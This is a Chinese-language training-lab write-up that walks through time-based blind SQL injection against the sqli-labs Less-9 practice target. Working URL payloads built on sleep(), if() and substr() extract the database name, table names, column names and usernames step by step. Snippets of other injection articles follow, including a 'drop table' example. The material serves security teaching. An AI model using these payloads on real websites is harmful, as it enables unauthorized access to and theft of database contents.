Web安全 基於SQLI的SQL時間盲注

2022-07-12 05:03:11 字數 3286 閱讀 7864

通過本實驗理解sql時間盲注漏洞的定義方法,掌握基於sql時間盲注的手工注入方法,熟悉sql時間盲注存在的原因,掌握sql時間盲注的防護方法。

目標靶機:sqli平台less-9

1.為什麼使用延時注入

(1)部分**沒辦法 union select 聯合查詢方式注入

(2)部分**沒有輸出顯示,只能通過延時判斷;

2.時間盲注的sql語句原理

(1)sleep(n)語句:使資料庫在暫停n秒之後再將搜尋結果輸出;

(2)if((條件),m,n)語句:若條件為真,返回m;若條件為假,返回n;

3.時間盲注常用函式

length(database())語句:返回當前資料庫名長度。

mid(database(),m,n):返回資料庫名的第m位之後的n位。

第一步 登入sqli-labs平台

第二步 登入kali平台,啟動firefox瀏覽器訪問sqli-labs的less-9

在瀏覽器位址列中輸入http://【靶機ip】/less-9/,訪問sqli-labs的less-9。

第三步 判斷注入點與注入型別

(1)http://【靶機ip】/less-9/?id=1' and length(database())>0 %23

或http://【靶機ip】/less-9/?id=1' and length(database())>0 --+

頁面正常,沒有反應

(2)http://【靶機ip】/less-9/?id=1' and length(database())<0 %23

或http://【靶機ip】/less-9/?id=1' and length(database())>0 --+

頁面正常,沒有反應

同樣id=1'或id=1"的結果仍然與正常訪問一致。

(2)採用sleep()函式進行測試

http://【靶機ip】/less-9/?id=1' and sleep(10) %23

或http://【靶機ip】/less-9/?id=1' and sleep(10) --+

響應明顯變緩慢,響應速度如下:

對比沒有使用sleep()函式時的狀態如下:

得出結論:存在時間盲注。

下面基於時間盲注進行資料庫資訊獲取:

第四步 獲取資料庫名的長度

http://【靶機ip】/less-9/?id=1' and if((length(database())=8),1,sleep(5)) --+

http://【靶機ip】/less-9/?id=1' and if((length(database())=7),1,sleep(5)) --+

得出結論:資料庫名長度為8。

第五步 探測資料庫其他資訊

(1)判斷資料庫名

http://【靶機ip】/less-9/?id=1' and if(ascii(substr(database(),1,1)=115,1,sleep(5)) --+

資料庫名的第乙個字母為s(ascii為115),判斷成功直接返回,判斷錯誤的話是暫停5秒。

(2)獲取表

http://【靶機ip】/less-9/?id=1' and if(ascii(substr(database(),2,1))=101,1,sleep(5)) --+

然後

http://【靶機ip】/less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,1,sleep(5)) --+ 

email表的第乙個字母為e(ascii為101),判斷成功直接返回,判斷錯誤的話是暫停5秒。

以此類推,我們可以得到所有的資料表:emails,referers,uagents,users

(3)獲取列

http://【靶機ip】/less-9/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5)) --+ 

猜測users表的第乙個列的第乙個字元是i。

以此類推,我們得到列名是id,username,password

(4)獲取列值

http://【靶機ip】/less-9/?id=1' and if(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5)) --+

猜測username的第一行的第一位為d。

按照這種思路依次來獲取全部資料庫資訊。

通過本次實驗,成功實現了利用sql時間盲注漏洞獲取了資料庫的表單資訊,掌握了sql時間盲注漏洞的手工攻擊方法,在此基礎上可以深入理解對其的防護策略。

WEB安全 SQL注入

sql注入 or 1 例如 select form table1 where name param 一般param是從頁面輸入控制項傳遞來的資料 如果你在控制項中輸入 or 1 1 那麼他將查詢所有的資料出來 表示後面的都被注釋掉了 你還可以 drop table table1 那麼他將刪除該錶,其...

web安全 sql注入

所謂sql注入,就是通過把sql命令插入到web表單提交或輸入網域名稱或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意的sql命令。具體來說,它是利用現有應用程式,將 惡意的 sql命令注入到後台資料庫引擎執行的能力,它可以通過在web表單中輸入 惡意 sql語句得到乙個存在安全漏洞的 上的資料庫,...

Web安全實踐(2)基於http的web架構剖析

web安全實踐系列導航 安全技術區 前言 web安全實踐系列主要是對 黑客大 web應用安全機密與解決方案 第二版 的內容做的實踐研究和部分程式設計實現。所以如果您能完全理解那本書可以跳過本文章。正文 2.1確定目標 1 ping。這是最常規的方法,我們可以對已知網域名稱做該操作來獲得ip位址。3 ...